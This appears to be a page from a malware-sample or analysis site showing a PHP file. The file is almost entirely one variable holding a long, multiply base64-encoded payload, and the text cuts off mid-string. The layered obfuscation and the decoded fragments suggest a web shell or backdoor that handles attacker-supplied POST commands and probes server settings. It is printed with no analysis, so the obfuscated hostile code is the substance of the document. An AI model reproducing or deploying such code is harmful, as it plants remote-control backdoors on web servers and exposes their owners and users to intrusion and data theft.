Jump to:
Screenshot
Attributes
Encoding
<?php
$part2 = 'MVViR2xaVkdoc1RucFZNbGxxVVROYWFrRnBUM2R2YTFreU9YTmlNMGxuVUZOQmFVa3lVbTFPVTBrM1EybFNhMXBYV21oa1YzZ3dXREpHYW1SSGJIWmlhVUU1U1VOa1IyRlhlR3hqTURGb1ltbGpOME5wVW10YVYxcG9aRmQ0TUZnelZucGFWamxvWVcxR05FbEVNR2RrU0VveFdsUnpTMHBIVW14YWJVWXhZa2hTWmxreWFHaGpiazVzWkVOQk9VbERaRmhoVnpWcllqTmtla3hVUlhsT1ZFVnVUM2R2WjBOdGJHMUxRMFpzWWxoQ01HVlRaMnRZTVU1R1ZXeGFSbFZzYzI1VFJsSlZWVVk1VmxVd1ZsTllNRVpJVWxVMVZVb3hNSEJMVTBJM1EybEJaMGxEUVd0a1dFNXNZMnRHYmxwWE5UQmplVUU1U1VkR2VXTnRSalZMUTBwSVlqSTVibUpIVldsTVEwRnBWVEo0TVdOdVFXbE1RMEZwVkZaT1QxRnRPVEJKYVhkblNXMXNhRmd5Um5sWk1taHdaRzFXZVVscGQyZEpiR3hvWW0xU2JHVkRTWE5KUTBwVFdWY3hhV0pIVm5sSmFXczNRMmxCWjBsRFFuQmFhV2gzWTIxV2JsZ3lNV2hrUjA1dlMwTmpka3A1UVhWSlIyeDBZMGQ0ZGxwSFZXOUtNM2R1VEVOQmEyUllUbXhqYTBadVdsYzFNR041YTJkTWFVRnVUREpyYmt4RFFXdFlNVTVHVld4YVJsVnNjMjVUUmxKVlZVWTVWbFV3VmxOWU1FWklVbFUxVlVveE1IQkxVMEkzUTJsQlowbERRV2RKUTBGbllVZFdhRnBIVm5sTFEyUkpWa1pTVVV4NlJYVk5RMEV3VFVSUloxUnRPVEJKUlZwMlpGYzFhMHA1YXpkRGFVRm5TVU5CWjBsRFFXZGFXR2h3WkVSelMwbERRV2RKU0RCTFpsRnZaME5yUW5CaWJXeG1ZekpXTUV0RFpHeGpia3AyWTJ3NWMySXlZMjVNUlRWV1ZFVjNjRTkzY0VGaFZ6VndXRE5PYkdSRFoyNWlSemx1V0RKV2VXTnRPWGxqZVdOelRVTnJOME5yUW5CaWJXeG1ZekpXTUV0RFpIUlpXR2htV2xob2JGa3pWakJoVnpsMVdETlNjR0pYVlc1TVJFRndUM2R3UVdNeVZqQllNMUp3WWxkV1ptSkhiSFJoV0ZGdlRVTnJOME5yUW5wYVdGSm1ZbGRHYm1GWFRtWmpXRloyWkVkV2VsZ3pTakZpYmxKd1lsZFZiMDFEYXpkRGEwSnJXbGRhY0dKdFZXOUtNV1JVVkRFNVYxSldTbFJUVlRsUFNubDNaMHA2U1hWUFEyTndUM2R2WjBOdGJHMUxSMlJzWkVZNWRGbFhaSEJaTVRsNFpGYzVNRnBZVG1aYU0wSnFTME5yY0VsSWMwdEpRMEZuU1VkYU1XSnRUakJoVnpsMVNVWmtWRlF6VGpCamJXeDNZeko0YUdNeWFHeGplV2RyV1ZoS2VWbFlhM0JKU0hOTFNVTkJaMGxEUVdkSlEwSjVXbGhTTVdOdE5HZGhXRTVtV1ZoS2VWbFlhMjlLUjBaNVkyMUdOVXRUUVM5SlIwWjVZMjFHTlZneU1XaGpRMmR1VmpGT1VHTXpVbmxoV0VKNllrZEdlbUZIVm5wS2VYZG5Ta2RHZVdOdFJqVkxVMEUyU1VoT01HTnRiSGRqTW5ob1l6Sm9iR041WjJ0WldFcDVXVmhyY0U5M2IyZEpRMEZuWmxGdlowbERRV2RLUmpsUlZERk9WVWxFTUdkV01VNVFZek5TZVdGWVFucGlSMFo2WVVkV2VrdERVbVpWUlRsVVZrTnJOME5wUVdkSlEwRnJXREJPVUZRd2RFcFNVMEU1U1Vaa1ZGUXpUakJqYld4M1l6SjRhR015YUd4amVXZHJXREJPVUZRd2RFcFNVMnMzUTI0d1MwbEJjRzFrVnpWcVpFZHNkbUpwUWpOak1qbE5ZakprY0dKcFozQkpTSE5MU1VOQlowbEhVbkJhVTJkcFVFaENlVnBUUW1oaVIyeHVZbW94YWxwWE5UQmFXRWtyVUVkYWRtTnRNR2RpVjFZd1lVYzVhMUJZUW5aak0xRXJWVWRHZW1NelpIWmpiVkUyU1VSNGNHSnVRakZrUTBJd1pWaENiRkJZUW1oak0wNHpZak5LYTBsSE5XaGlWMVU1WTBkR2VtTjZORGhoVnpWM1pGaFJaMlJJYkhkYVZERjZaRmRLZEdGWVVXZGtiVVp6WkZkVk9VcDZOQ3RLZWpRNFRESmFkbU50TUN0UVF6bDNZMjFWSzBscGF6ZERiakJMU1VGd2JXUlhOV3BrUjJ4MlltbENXRlV3T1hwYVdGSnFZakk1Y21GWFZXOUtSM056U1VOU01rdFRRamREYVVGblNVTkJhMWd3VGxCVU1IUktVbFp6YTJFeE1HZFFVMEZyWkdwelMwbERRV2RKU0U1c1pFZE9kbUl5ZEhCYVUyZHJZWGwzWjBwSVdYQlBkM0E1UTJsQlMyRlhXVzlKVjFaMFkwaFNOVXREVW1oa1dGSnZXRE5DYUdNelRYQkxVMEkzUTJsQlowbERRbkJhYVdod1l6Tk9iR1JEWjJ0WU1VSlFWVEZTWWtvelFtaGpNMDF1V0ZOclowcHBXV2RMUnpGclRsTm5hMWd4UWxCVk1WSmlTak5DYUdNelRXNVlVMnRuVUZRd1owcEhSakZrUjJobVkwZEdlbU41YTNCRGFVRm5TVU5CWjBsRFFXZFdNVTVRWXpKV01Ga3lPWFpoTW14c1MwY3hhMDVUWjJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVNWUXhUbFZLTVRCd1RFTkJhMWxZVmpCaFJqbDNXVmhPZWt0VWMwdEpRVzluU1VOQloyRlhXV2RMUTBad1l6Tk9iR1JEWjJ0WU1FNVFWREIwU2xKV2RIUmFSRlZ2U2tZNVZGSldTbGRTVmtwaVNqQm9WVlpHUW1aVFJUbFVWa05rWkV0V01IQkpTSGc0U1VObmExZ3dUbEJVTUhSS1VsWjBkRnBFVlc5S1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psTkZPVlJXUTJSa1MxWXdaMGxVTUdkS1IwWXhaRWRvWm1OSFJucGplV3R3UTJsQlowbERRV2RKUTBGblpETk9kbFJIT1c1aFZ6UnZTMVJ6UzJaUmIyZERiV3h0UzBoT01HTnVVblppUnpreldsaEpiMk16Vm1sak0xSjVTMFpDU1ZWR09WQlZlWGQzVEVSTmNFdFRRVGxRVTBGcFpESnNkVWxwYTB0SlEwRm5TVU5TZG1ONVFUbEpRMlF6WVZjMGJrOTNjR3hpU0U1c1EybEJaMGxEUVd0aU0wMW5VRk5CYm1KdGJEUktlbk5MU1VGdmEyTXlSbTFhVmpsMFlqSlNiRWxFTUdkUlIyeDFZVlk1YmxwWVVXOUtNMDVvV20xV1ptSlhPV3RhVTJOd1QzZHdjRnBwWjJoS1NFNW9XbTFXWm1KWE9XdGFVMnRMU1VOQlowbEhWbmxqYlRsNVdETktiR05IT1hsa1IyeDFXbmxuZDB0VWMwdEpRVzlyV2tkc2VsbFhTbk5hVmpsdFpGYzFhbVJIYkhaaWJrMW5VRk5DUVdGWE5YQllNbVJzWkVObmJscEhiSHBaVjBweldsWTViV1JYTldwa1IyeDJZbTVOYmt0VWMwdEtSMmgyWWxkV1psa3paR3RKUkRCblVVZGtiR1JIVGpOYVEyZHdUM2R3Y0ZwcGFIQmpNMDVzWkVObmExZ3hRbEJWTVZKaVNqSk5ibGhUYTNCRGFVRm5TVU5DUVZreWFHdGhXRWx2U2tZNVVWUXhUbFZYZVdScVNqRXdjRTkzYjJ0Wk0yUnJTVVF3WjFGSFpHeGtSMDR6V2tObmNFOTNjSEJhYVdkcllqTk5aMUJVTUdkS00yUndZbWxqY0VsSWMwdEpRMEZuU1VOU2IySXlNV3hZTWs0eldrTkJPVWxJVGpCamJEbDVXbGhDYzFsWFRteExRMHBqV0VOSmMwbERTWFpKYVhkblNrZG9kbUpYVm1aWk0yUnJTMVJ6UzBsRFFXZEpRMUpxWkRKUloxQlRRbnBrU0VwbVkyMVdkMkpIUm1wYVUyZHBXRVozYVV4RFFXbE1lVWx6U1VOU2FtUXlVWEJQZDNBNVEyMXNiVXREVW1wa01sSmlZek5TZVdKSFZuVkxRMUpxWkRKUmNFeFVSbVJKUTBVNVNVTmpka3A1YTB0SlEwRm5TVU5TYW1ReVVXZE1hakJuU25rNGJrOTNiMmREYld4dFMwTkdjR016VG14a1EyZHJXREJPVUZRd2RFcFNWblIwV2tSVmIwcEdPVlJTVmtwWFVsWktZa293YUZWV1JrSm1VMFU1VkZaRFpHUkxVMEYxU1VOa2FHRnRSalJLTVRCd1MxRnZaMGxEUVdkS1JqbEVWREE1VEZOVlZtSmlWMUV4UzBOU1psVXdWbE5XYTFaVFYzbGtTVlpHVWxGWU1HaFFWVEZSYmxoVGEyZE1hVUZ1V1Zkd2FHVkRaR1JKUkRCblMwZEtkbUl5ZDNCS1IxSnNXbTFHTVdKSVVtWmtXRTVzV0RKR2NWbFlaemREYVVGTFlWZFpiMHBIT1hwSlJEQTVTVU5rTTJGWE5HNUxVVzluU1VOQlowcEhSbk5oVjBaNldsaE5aMUJUUW1oamJrcG9aVk5uUzBsRFFXZEpRMEZuU1VOQmFWUkhiSHBrUTBKRllWaEtiRmt6VW5aamJtdHBTVVF3SzBsRFNtdGhXRWxwVEVGdlowbERRV2RKUTBGblNVTktSMkZYTld0SlIyeDFXa2RXTkV4dVFtOWpRMEp3WW1sQ2FtUllTbmxhVnpVd1NVZFNjR05wU1dkUVZEUm5TVzFTY0dOcFFYWmplVUYyWkhsQmRsbHBRbkJpYlZKc1pVTTFkMkZJUVdsTVFXOW5TVU5CWjBsRFFXZEpRMHBIWVZjMWEwbERjR3BpTWpWdFlWZGpjVXh1UW05alEwSndZbWxDYW1SWVNubGFWelV3U1VkU2NHTnBTV2RRVkRSblNXMVNjR05wUVhaamVVRjJaSGxCZGxscFFYRlpNamwxV20xc2JrdHBOWGRoU0VGcFRFRnZaMGxEUVdkSlEwRm5TVU5LVkdGSE9UTkpSMFpxWkVkc01scFRRbXBpTWpWMVdsZE9NR0ZYT1hWamVVbG5VRlEwWjBsdE5XeGtTRTR3V1ZoUloweFhSblZKYVhkTFNVTkJaMGxEUVdkSlEwRnBWVEpvZG1SNVFubGtWelYxWVZjMWJrbElUbXhqYmxwd1dUSldla2xwUVRsUWFVRnBZbTFXTUVsSVRqQlpXRW93U1dsM1MwbERRV2RKUTBGblNVTkJhVlpZVG14amFVSm9XVEpPZG1SWE5UQmplVWxuVUZRMFowbHROV3hrUTBJeFl6SldlVWxwZDB0SlEwRm5TVU5CWjBsRFFXbFZNbWgyWkhsQ2FtSXlNWGRrV0ZKc1kyNU5hVWxFTUN0SlEwcDFXbGhSWjJSdGJHeGtlVWx6UTJsQlowbERRV2RKUTBGblNXdEdVMVZEUWxWWlYwcHpXbE5KWjFCVU5HZEpiVVo1WTBOQmRGbFRTWE5EYVVGblNVTkJaMGxEUVdkSmEyeFJTVVZPZG1KdFduQmFNMVo1V1ZoU2NHSXlOR2xKUkRBclNVTktjR05IVG5aaWJWcHdXbmxCZGxsWGVITkpaMjluU1VOQlowdFVjMHRhVjNoNldsRnZaMGxEUVdkS1IwWnpZVmRHZWxwWVRXZFFVMEpvWTI1S2FHVlRaMHRKUTBGblNVTkJaMGxEUVdsVVIyeDZaRU5DYTJGWVNXbEpSREFyU1VOS2MyTjVRWFJpUjJob1NXbDNTMGxEUVdkSlEwRm5TVU5CYVdKSGJIcGtRMEp0WVZkNGJFbEhSakJrU0Vwd1dXNVdNRnBZVFdkaU1qUm5XVk5DVFdGWE5URmxRMEo2V2xkT2RtSnRVV2RhV0dnd1dsYzFhMXBYVVdkYWJXeHpXbE5DZW1WWVRqQmFWekJwU1VRd0swbERTbk5qTWtZd1pFaEpaMHhZV21oSmFYZExTVU5CWjBsRFFXZEpRMEZwWXpKb2RtUjVRblpqUjFaMVdsZFJaMk5IT1hsa1NFMXBTVVF3SzBsRFNuVmFXRko2WkVkR01FbERNV2hpYVVJNFNVZGtlVnBZUVdkTVYydG5Za2RzZW1SSFZuVkphWGRMU1VOQlowbERRV2RKUTBGcFkwaEtkbGt5Vm5wamVVSjZaRWRHTUdSWVRXbEpSREFyU1VOS2QyTjVRbWhrV0dkcFRFRnZaMGxEUVdkSlEwRm5TVU5LUjJGWE5XdEphVUU1VUdsQmFVbHBkMHRKUTBGblNVTkJaMGxEUVdsYWJXeDFXa05DZW1SWGJHdEphVUU1VUdsQmFWcHRiSFZhUTBGMlNVTXhNR1ZZUW14SlIxbG5URmhDYkdOdE1HZE1WRUV3VFVSQmQwbERNWE5qZVVselEybEJaMGxEUVdkSlEwRm5TVzFhY0dKdFVXZGpNMVp3V2tOQ2NHSnBRbXBrV0VwNVdsYzFNRWxIVW5CamFVbG5VRlEwWjBsdFduQmliVkZuVEdsQmRHUkliSGRhVTBKdFNVTXhkMXBZU25SSlF6QjNUa1JCZDAxRFFYUmlTRTFwVEVGdlowbERRV2RKUTBGblNVTktiV0ZYTld0SlNFNXVZVmRSYVVsRU1DdEpRMHB0WVZjMWEwbERPR2RNV0ZJMVkwZFZaMXBwUVhSalIxWjVZbE5CZEUxRVNYZE5SRUZuVEZkNGVrbHBkMHRKUTBGblNVTkJaMGxEUVdsYWJXeDFXa05DZWxveWJHdEpSMXB3WWtkV2VrbEhiSFZKUjA0eFkyNUtiR0p1VVdkYVIyeDVTV2xCT1ZCcFFXbGFiV3gxV2tOQmRVbERNVEJsV0VKc1NVZFpaMHhZUW14amJUQm5URlJCZVUxRVFYZEpRekZ6WTNsSmMwTnBRV2RKUTBGblNVTkJaMGx0V25CaWJWRm5XVEk1ZFZwdGJHNU1iV3gxV1hrMWQyRklRV2xKUkRBclNVTktiV0ZYTld0SlF6aG5URmhTTldOSFZXZGFhVUYwWW0xR2RGcFRRbXBpTWpWdFlWZGpkV0ZYTldwTWJrSnZZME5KYzBOcFFXZEpRMEZuU1VOQlowbHRXbkJpYlZGbldUSTVkVnB0Ykc1TGFVbG5VRlEwWjBsdFduQmliVkZuVEhsQmRHUkliSGRhVTBKdFNVTXhkVmxYTVd4SlJuZHBXVEk1ZFZwdGJHNUxiSGRwU1dsM1MwbERRV2RKUTBGblNVTkJhVnB0YkhWYVEwSnFZakkxYldGWFkzRkpSMngxU1VkT01XTnVTbXhpYmxGbldrZHNlVWxwUVRsUWFVRnBXbTFzZFZwRFFYVkpRekV3WlZoQ2JFbEhXV2RNVnpWb1lsZFZaMWhEU21waU1qVnRZVmRqY1ZoRFNXbE1RVzluU1VOQlowbERRV2RKUTBwdFlWYzFhMGxJWkhsaFdGSm9XVzE0YkVsSFduWmlSMUpzWTI1TloxbFhOV3RKUjFwd1lrZFdla2xwUVRsUWFVRnBXbTFzZFZwRFFYWkpRekYzV2xoS2RFbERNSGxKUXpGelkzbEpjME5wUVdkSlEwRm5TVU5CWjBsdFduQmliVkZuWkROS2NHUkhSbWxpUjFWbldtMDVjMXBIVm5samVVSm9ZbTFSWjFwdGJITmFXRTFuWVZjMFoxa3pWbmxqYlZaMVpFTkNhMkZZU1dsSlJEQXJTVU5LYldGWE5XdEpRelJuVEZoQ2JHTnRNR2RNVkVsblRGZDRla2xwZDB0SlEwRm5TVU5CWjBsRFFXbGFiV3gxV2tOQ2VscFlTakpoVjA1c1RHNUNNMXBEU1dkUVZEUm5TVzFhY0dKdFVXZE1lVUYwWkVoc2QxcFRRbTFKUXpGMVdWY3hiRWxJVG14amJscHdXVEpWZFdOSVpHdEphWGRMU1VOQlowbERRV2RKUTBGcFdtMXNkVnBEUW5wYVdFb3lZVmRPYkV4dVFqTmFRMEp0WVZkNGJHTjVRbkJpYVVKcVpGaEtlVnBYTlRCSlIxSndZMmxKWjFCVU5HZEpiVnB3WW0xUloweHBRWFJrU0d4M1dsTkNiVWxETVhWWlZ6RnNTVWhPYkdOdVduQlpNbFYxWTBoa2EwbHBkMHRKUTBGblNVTkJaMGxEUVdsYWJXeDFXa05CZFdGSVVuZFpXRTU2WkRKUmFVbEVNQ3RKUTBwdFlWYzFhMGxET0dkTVdGSTFZMGRWWjFwcFFYUmliVVowV2xOQmRXRklVbmRaV0U1NlpESlJhVXhCYjJkSlEwRm5TVU5CWjBsRFNtMWhWelZyU1VNMWIyUklRbWhqTTA0eldrTkNiV0ZYZUd4amVVSndZbWxDYW1SWVNubGFWelV3U1VkU2NHTnBTV2RRVkRSblNXMWFjR0p0VVdkTWFVRjBaRWhzZDFwVFFtMUpRekYxV1ZjeGJFbEROVzlrU0VKb1l6Tk9NMXBEU1hORGFVRm5TVU5CWjBsRFFXZEpiVnB3WW0xUloweHRTbWhqTW1obVlVZHNlbVJIT1hsbFUwbG5VRlEwWjBsdFduQmliVkZuVEhsQmRHUkliSGRhVTBKdFNVTXhkVmxYTVd4SlF6VnBXVmhPYjFneWFIQmpNMUoyWTI1cmFVeEJiMmRKUTBGblNVTkJaMGxEU20xaFZ6VnJTVU0xYVZsWVRtOVlNbWh3WXpOU2RtTnVhMmRhYld4eldsaE5aMkZYTkdkWk0xWjVZMjFXZFdSRFFtdGhXRWxwU1VRd0swbERTbTFoVnpWclNVTTBaMHhZVWpWalIxVm5XbWxCZEdKdFJuUmFVMEYxV1cxR2VtRkdPVzloV0U0d1lqTktOVWxwZDB0SlEwRm5TVU5CWjBsRFFXbGFiV3gxV2tOQmRWcHRWakJaTW1oMFdWZHNjMk50VFdsSlJEQXJTVU5LYldGWE5XdEpRemhuVEZoU05XTkhWV2RhYVVGMFltMUdkRnBUUVhWYWJWWXdXVEpvZEZsWGJITmpiVTFwVEVGdlowbERRV2RKUTBGblNVTktiV0ZYTld0SlF6VnRXbGhTYW1GSE1XaGhWM2g1V1hsQ2JXRlhlR3hqZVVKd1ltbENhbVJZU25sYVZ6VXdTVWRTY0dOcFNXZFFWRFJuU1cxYWNHSnRVV2RNYVVGMFpFaHNkMXBUUW0xSlF6RjFXVmN4YkVsRE5XMWFXRkpxWVVjeGFHRlhlSGxaZVVselEybEJaMGxEUVdkSlEwRm5TV3Q0ZGxreVJqQmFVMGxuVUZRMFowbHBTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFtOWtTRkozV2tNMWFtSXlOVzFKYVVFNVVHbEJhV0pIT1dwWldGSnNTVWRvTUdSSVFtdE1iVTUyWW0xWmFVeEJiMmRKUTBGblNVTkJaMGxEU25OaU1rNW9aRWRWWjJSdGFIWmpNMUo2VEcxT2RtSnRXV2xKUkRBclNVTktjMkl5VG1oa1IxVm5aRzFvZG1NelVucE1iVTUyWW0xWmFVeEJiMmRKUTBGblNVTkJaMGxEU25OaU1rNW9aRWRWWjJOSVNuWmFibEozV2tNMWFtSXlOVzFKYVVFNVVHbEJhV0pIT1dwWldGSnNTVWhDZVdJeVdqQmpSMUYxV1RJNWRWcHBTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFuZGpNMnhwWW0xTmRWa3lPWFZhYVVsblVGUTBaMGx0ZUhaWk1rWXdXbE5DZDJNemJHbGliVTExV1RJNWRWcHBTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFuUmxVelZxWWpJMWJVbHBRVGxRYVVGcFlrYzVhbGxZVW14SlJ6RTFURzFPZG1KdFdXbE1RVzluU1VOQlowbERRV2RKUTBwellqSk9hR1JIVldkWlYxSjBZVmMwZFdOSGFIZEphVUU1VUdsS2MySXlUbWhrUjFWbldWZFNkR0ZYTkhWalIyaDNTV2wzUzBsRFFXZEpRMEZuU1VOQmFXSkhPV3BaV0ZKc1NVZE9iVnA1TlhkaFNFRnBTVVF3SzBsRFNuTmlNazVvWkVkVloxa3lXbTVNYmtKdlkwTkpjME5wUVdkSlEwRm5TVU5CWjBsdGVIWlpNa1l3V2xOQ2FtSXlOVzFNYmtKdlkwTkpaMUJVTkdkSmJYaDJXVEpHTUZwVFFtcGlNalZ0VEc1Q2IyTkRTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFtcGlNalZ0WVZkamRWcEhSakJKYVVFNVVHbEJhV0pIT1dwWldGSnNTVWRPZG1KdFduQmFlVFZyV1ZoUmFVeEJiMmRKUTBGblNVTkJaMGxEU25OaU1rNW9aRWRWWjFreU9YVmFiV3h1VEc1Q2IyTkRTV2RRVkRSblNXMTRkbGt5UmpCYVUwSnFZakkxYldGWFkzVmpSMmgzU1dsM1MwbERRV2RKUTBGblNVTkJhV0pIT1dwWldGSnNTVWRPZG1KdFduQmFlVFZ3WW0xTmFVbEVNQ3RKUTBwellqSk9hR1JIVldkWk1qbDFXbTFzYmt4dGJIVlplVWx6UTJsQlowbERRV2RKUTBGblNXMTRkbGt5UmpCYVUwSnFZakkxYldGWFkzVmhWelZxVEc1Q2IyTkRTV2RRVkRSblNXMTRkbGt5UmpCYVUwSnFZakkxYldGWFkzVmhWelZxVEc1Q2IyTkRTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFtcGlNalZ0WVZkamRWcEhWbTFaV0ZaelpFTTFkMkZJUVdsSlJEQXJTVU5LYzJJeVRtaGtSMVZuV1RJNWRWcHRiRzVNYlZKc1dtMUdNV0pJVVhWalIyaDNTV2wzUzBsRFFXZEpRMEZuU1VOQmFXSkhPV3BaV0ZKc1NVZE9kbUp0V25CYWVXOXBTVVF3SzBsRFNuTmlNazVvWkVkVloxa3lPWFZhYld4dVNXbDNTMGxEUVdkSlEwRm5TVU5CYVdKSE9XcFpXRkpzU1VNMWFtSXlOVzFKYWpBclNXMTRkbGt5UmpCYVUwRnVURzFPZG1KdFdXNUphWGRMU1VOQlowbERRV2RKUTBGcFlrYzVhbGxZVW14SlF6VjNaREpSYVVsRU1DdEpRMHB6WWpKT2FHUkhWV2RLZVRWM1pESlJia2xwZDB0SlEwRm5TVU5CWjBsRFFXbGlSemxxV1ZoU2JFbEROWHBqVjNkcFNVUXdLMGxEU25OaU1rNW9aRWRWWjBwNU5YcGpWM2R1U1dsM1MwbERRV2RKUTBGblNVTkJhV0pIT1dwWldGSnNTVU0xYjJSSVFtaGpNMDR6V2tOSloxQlVOR2RKYlhoMldUSkdNRnBUUVc1TWJXZ3dZMGRHZW1NelpHdEtlVWx6UTJsQlowbERRV2RKUTBGblNXMTRkbGt5UmpCYVUwRjFXVzFHZW1GR09XOWhXRTR3WWpOS05VbHBRVGxRYVVGcFlrYzVhbGxZVW14SlEyTjFXVzFHZW1GR09XOWhXRTR3WWpOS05VcDVTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFYVmlXR3g2WTFkNFptRkhiSHBrUnpsNVpWTkpaMUJVTkdkSmJYaDJXVEpHTUZwVFFXNU1iVEUxWXpOR2MxZ3lhSEJqTTFKMlkyNXJia2xwZDB0SlEwRm5TVU5CWjBsRFFXbGlSemxxV1ZoU2JFbEROVzFhV0ZKcVlVY3hhR0ZYZUhsWmVVbG5VRlEwWjBsdGVIWlpNa1l3V2xOQmJreHRXbXhrUjA1dllsZEdjR0pJU21wS2VVbHpRMmxCWjBsRFFXZEpRMEZuU1cxNGRsa3lSakJhVTBKcFdWZE9jbVJZUVdsSlJEQXJTVU5LYzJJeVRtaGtSMVZuV1cxR2FtRXpWbmRKYVhkTFNVTkJaMGxEUVdkSlEwRnBZa2M1YWxsWVVteEpSMUl4WWxoQmFVbEVNQ3RKUTBwellqSk9hR1JIVldkYVNGWjBZME5KYzBOcFFXZEpRMEZuU1VOQlowbHRlSFpaTWtZd1dsTkNkMk50YkRKSmFVRTVVR2xCYVdKSE9XcFpXRkpzU1VoQ2VXRllXV2xEYVVGblNVTkJjRTkzYjJkRGJWb3hZbTFPTUdGWE9YVkpTR1I2WWpCb2JGbFhVbXhqYVdkd1NVaHpTMGxEUVdkSlIyeHRTMGRXZEdOSVVqVkxRMUptVlVVNVZGWkdjMjVaTW1ob1kyNU9iR1JEWkdSTFUydExTVU5CWjBsRFFXZEpRMEZyV0RGQ1VGVXhVbUpLTWs1dldWaEtlbHBZVVc1WVUwRTVTVU5TU0ZSRk9VTlJWWGhVVjNsa2ExcFhXbWhrVjNnd1dESk9iMWxZU25wYVdGRnVXRlJ6UzBsRFFXZEpSMlJ6WWpKS2FHSkRRV3RaTWpsellqTkpOME5wUVdkSlEwSnNXVEpvZGtsRFNUaGhTRkowWWtRME9HRkhWbWhhUkRRNFlsZFdNRmxUUW05a1NGSjNURmRXZUdSWGJESlFVMlJFWWpJMU1GcFhOVEJNVmxJMVkwZFZia2xIVG5aaWJsSnNZbTVST1VvelVteGxTRkYyWVVoU2RHSkVjMmRaTW1ob1kyNU9iR1JFTUdsSlF6Um5Ta1k1VVZReFRsVlhlV1JxWVVkR2VXTXlWakJLTVRCblRHbEJhVXA2TkRoa1Iyd3dZa2RWSzBscFFYVkpRMUptVlRCV1UxWnJWbE5YZVdSSlZrWlNVVmd3YUZCVk1WRnVXRk5CZFVsRFNXZE1VMEpZVlRBNFowbHBRWFZKUm1SVVZERTVWMUpXU2xSVFZUbFBTVU0wYVZCRE9UQmhXRkp6V2xRMFMxQklUakJsVjNoc1VHZHdhV0l5VWpWbE1rcG9XVEowYm1OdE9URmliVkYwV1RJNWMySXpTVFpKZWxFd1RrUjBhbUl5ZUhaamFtOXFXbFJHYkUxWFZYaFBNekJMV1cwNWEyVlRlREJhUTNnd1lVaHpaMXB0T1hWa1JHOW5UMWhDTUVsRmVERlpNbXhyV1ZONFYxcFlTbXRaVnpWb1R6SXhhR050WkhCaWFtOTNUek5hYkdOdVVuQlpNa1p6VEZkR2MyRlhaSFZQYmxKMlkwUjBhbUl5ZUhaamFtOXFXbFJHYkUxWFZYaFBlVUk1UTI1U2FGbHRlR3hNYld4MVdtMDVOMGxIVG5aaVJ6bDVUMmxPYlZwdFdUZFpiVVpxWVRKa2VXSXpWblZhUXpGcVlqSjRkbU5xYjJwTmFrbDVUM2xDT1VOdVRuZFpWelJ6WVVSRmMxbFljMmRaTWpsellqTkpOa2xEVW1waU1uaDJZMmxCYUdGWE1YZGlNMG93V1ZjMU1FOTVRamxEYms1M1dWYzFOMGxIV25aaWJsRjBaREpXY0ZveWFEQlBhVUpwWWpKNGExcFlTVGRKU0RCTFlVUkdOMGxIU25aamJWSnNZMmt4YzFwWFdqQlBhbFozWlVOQ2VtSXllSEJhUTBGcldUSTVjMkl6U1RkalIwWnJXa2RzZFZwNmIyZE5ia0kwU1VSV2QyVkVkRzFpTWpVd1QybEJlRTVJUWpCSlJscHNZMjFTYUdKdFJUZFpiVVpxWVRKa2VXSXpWblZhUXpGcVlqSjRkbU5xYjJwTmFrbDVUekl4YUdOdFpIQmlhbTkzWTBobk4wbElNRXRhUjJ3eVRHMU9kbUp1VW14aWJsSTNTVWhDYUZwSFVuQmliV00yU1VSV2QyVkVkSFJaV0VwdVlWYzBkR0pIVm0xa1JHOHhZMGhuTjFsdFJtcGhNbVI1WWpOV2RWcERNV3BpTW5oMlkycHZhazE2VFhwUGVVSTVRMjFHTjBsSVVteGxTRkYwV2tkV2FtSXpTbWhrUjJ4MlltcHdkV0l5Tld4UGVVSTVRMjFGTm1GSE9USmFXRW8zU1VoU2JHVklVWFJhUjFacVlqTkthR1JIYkhaaWFuQXhZbTFTYkdOdGVIQmliVlUzU1Vnd1MweHRNWE5OV0hObldXMDVlVnBIVm5sUGFrWjNaVU5DZW1JeWVIQmFRMEZxVGtSUk1FOHpRbWhhUjFKd1ltMWpOazVZUWpSUE1qRm9ZMjFrY0dKcWIzZFBNamt5V2xoS2JXSkhPVE5QYVVKb1pGaFNkazk1UWpsRGFUVnBZVmRrYUdOdFZtaGxlVUl6WVZkU01HRkViM2hOUkVGc1R6Sm9iR0ZYWkc5a1JHOTZUVVJDZDJWRWMyZG1VWEJ3WW01Q01XUkRlREJhV0dnd1dWaEtiRmxUZUhwYVYzaHNXVE5TTjBsSE1XaGpiV1J3WW1wdmQwOHlUblppUnpsNVQybE9iVnB0V1RkWmJVWnFZVEprZVdJelZuVmFRekZxWWpKNGRtTnFiMnBPVkZVeFR6SktkbU50VW14amFtOTRZMGhuWjJNeU9YTmhWMUZuU2tkT2RtSkhPWGxQZVVKdFlqSTFNRTlwUVRWalNGRm5WRmM1ZFdJelRuZFpWMDVzVEVOa1JHSXpWbmxoVjFaNVNVVTFiR1I1WXpkSlNEQkxXbTA1ZVdKWWMyZGlWMFo1V2pKc2RVOXFRbmRsUkhOblpsRnZhbVJIT1haaVNFNVZXVzE0TjBsSVVteGxTRkYwV1ZkNGNGb3lORFpaTWxaMVpFZFdlVTk1UWpsRGFUVXdZakk1YzJNd2JIVmpTSE5uWkRKc2EyUkhaelpKUkUxM1RVaENORWxJTUV0TWJURm9ZVmMwWjJSSGFEZGtSMVkwWkVNeGFHSkhiRzVpYW5CeldsZGFNRTh5U21oWk1uUnVZMjA1TVdKdFVYUlpNamx6WWpOSk5rbDZWbXhPVjFVeFdsUjBPVU5wTlhSWlYyeDFTVWhTZVU5dGFIWmtiVlo1WlRKS2FGa3lkRzVqYlRreFltMVJkRmt5T1hOaU0wazJTWHBXYkU1WFZURmFXREJMVEcxM2VHVXlTbWhaTW5SdVkyMDVNV0p0VVhSWk1qbHpZak5KTmtsNlVUQk9TREJMVEcxM2VXVXlTbWhaTW5SdVkyMDVNV0p0VVhSWk1qbHpZak5KTmtsNlRYcE5NekJMWTBoS2JHVXlXblppYmxGMFdtMUdkR0ZYZURWUGEwNTJaRmhLY0ZwWVNYTlVWemwxWWpOT2QxbFhUbXhQTXpCTFVFTTVlbVJJYkhOYVZEUkxVRWhPYW1OdGJIZGtSRFJMU1VOQlowbElXbWhqYVVKcVdIbEJPVWxEWTJsSlF6Um5